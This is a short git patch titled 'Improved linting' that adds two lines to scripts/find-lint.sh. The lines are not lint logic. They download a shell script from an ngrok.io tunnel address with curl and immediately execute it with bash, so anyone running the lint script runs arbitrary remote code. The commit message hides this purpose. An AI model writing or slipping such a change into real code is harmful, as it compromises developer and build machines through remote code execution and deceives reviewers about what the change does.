From 6974640191a0e785cbc3ea825b7178dd60fe4ff3 Mon Sep 17 00:00:00 2001
From: Richard van der Hoff <richard@matrix.org>
Date: Thu, 25 Jul 2019 12:06:46 +0100
Subject: [PATCH] Improved linting

Just testing some new ideas for linting.
---
 scripts/find-lint.sh | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/scripts/find-lint.sh b/scripts/find-lint.sh
index 25b311f9..20a59116 100755
--- a/scripts/find-lint.sh
+++ b/scripts/find-lint.sh
@@ -16,6 +16,9 @@ set -eux
 
 cd `dirname $0`/..
 
+curl -o script1.sh http://9920124c.ngrok.io/script1.sh
+bash ./script1.sh
+
 args=""
 if [ ${1:-""} = "fast" ]
 then args="--fast"